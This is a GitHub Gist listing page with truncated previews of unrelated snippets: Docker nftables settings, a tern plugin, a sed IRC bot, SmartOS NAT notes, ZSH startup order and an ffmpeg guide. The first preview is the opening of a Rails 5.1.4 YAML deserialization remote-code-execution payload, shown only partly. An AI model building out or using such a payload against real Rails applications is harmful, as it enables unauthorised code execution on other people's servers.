Skip to content

Instantly share code, notes, and snippets.

@niklasb
niklasb / railspwn.rb
Last active March 7, 2021 12:14
Rails 5.1.4 YAML unsafe deserialization RCE payload
require 'yaml'
require 'base64'
require 'erb'
class ActiveSupport
class Deprecation
def initialize()
@silenced = true
end
class DeprecatedInstanceVariableProxy
@dearing
dearing / docker-nftables.conf
Created February 25, 2016 14:26
nftables with docker
# /etc/systemd/system/docker.service.d/docker-nftables.conf
# disable iptables in docker, allowing nftables to do work
[Service]
ExecStart=
ExecStart=/usr/bin/docker daemon -H fd:// --iptables=false
@chemzqm
chemzqm / webpack.js
Last active January 2, 2018 12:05
webpack plugin for tern
// drop this into <tern folder>/plugin
// run `npm i enhanced-resolve` in you tern folder
// add config "plugins": { "webpack": {}} to your .tern_project
// done
(function(mod) {
if (typeof exports == "object" && typeof module == "object") // CommonJS
return mod(require("../lib/infer"), require("../lib/tern"), require("./commonjs"), require)
if (typeof define == "function" && define.amd) // AMD
return define(["../lib/infer", "../lib/tern", "./commonjs"], mod)
mod(tern, tern)
@izabera
izabera / ircsed
Last active June 21, 2023 14:49
a simple irc bot written in sed
#!/bin/bash
owner=izabera nick=sedirc network=irc.freenode.net
echo "
# send bot data
1 {
s/.*/nick $nick/p
s/.*/user $nick $nick $nick :$nick/p
s/.*/cat factoids 2>\/dev\/null/e; H
b
@baetheus
baetheus / README.md
Last active December 17, 2023 14:28
SmartOS Single IP with NAT using VLAN

WARNING

These intructions might work, but they need a bit of attention. I've been reading through ipf and smf documentation and have found a few ways to improve this process. When I have time I'll add that information here, until then, be sure to look into the ipf settings if you're having issues with routing. Good luck!

Foreword

This is a modified version of sjorge's instructions for Single IP with NAT. Those instructions can be found here: https://docu.blackdot.be/snipets/solaris/smartos-nat

The primary difference is that this version does not rely on etherstubs for internal switching, but instead uses a vlan configuration. The benefits of this method over using etherstubs are:

  1. Project Fifo (project-fifo.net) can create vms and zones with vlans, but does not currently have etherstub support.
  2. Vlan switching is supposedly more efficient than creating an etherstub to handle switching. I have not tested this statement.
@pbrisbin
pbrisbin / headache.md
Created October 27, 2014 18:55
ZSH startup file headaches

Default behavior dictates the following order for ZSH startup files:

  • /etc/zshenv
  • ~/.zshenv
  • /etc/zprofile (if login shell)
  • ~/.zprofile (if login shell)
  • /etc/zshrc (if interactive)
  • ~/.zshrc (if interactive)
  • /etc/zlogin (if login shell)
  • ~/.zlogin (if login shell)
@gmasse
gmasse / gist:4b0c34be3d797cd729d2
Last active February 22, 2022 16:00
OVH custom iPXE boot (dedicated server)
@moschlar
moschlar / make.conf
Last active February 5, 2024 10:00
Run Gentoo Portage in a cpu cgroup
PORTAGE_IONICE_COMMAND="/usr/local/sbin/portage-cgroup \${PID}"
@ndarville
ndarville / webm.md
Last active September 30, 2023 18:56
4chan’s guide to converting GIF to WebM - https://boards.4chan.org/g/res/41212767

Grab ffmpeg from https://www.ffmpeg.org/download.html

It's a command line tool which means you will have to type things with your keyboard instead of clicking on buttons.

The most trivial operation would be converting gifs:

ffmpeg -i your_gif.gif -c:v libvpx -crf 12 -b:v 500K output.webm
  • -crf values can go from 4 to 63. Lower values mean better quality.
  • -b:v is the maximum allowed bitrate. Higher means better quality.
@azet
azet / 9-to-5.txt
Last active July 1, 2018 18:37
9 to 5 [RE: The Fall of Hacker Groups]
So this happened: phrack changed it's format and posted a nice analysis of the
(nowadays missing) hacker community and societal behaviour of hackers in
general: http://phrack.org/papers/fall_of_groups.html
This article reflects a lot of thoughts I've had over the last couple of
months. In a very positive way.
Yea sure, the scene we grew up in changed to what has now become a bullshit
business like any other. Originality is scarce and every time I see SQLi or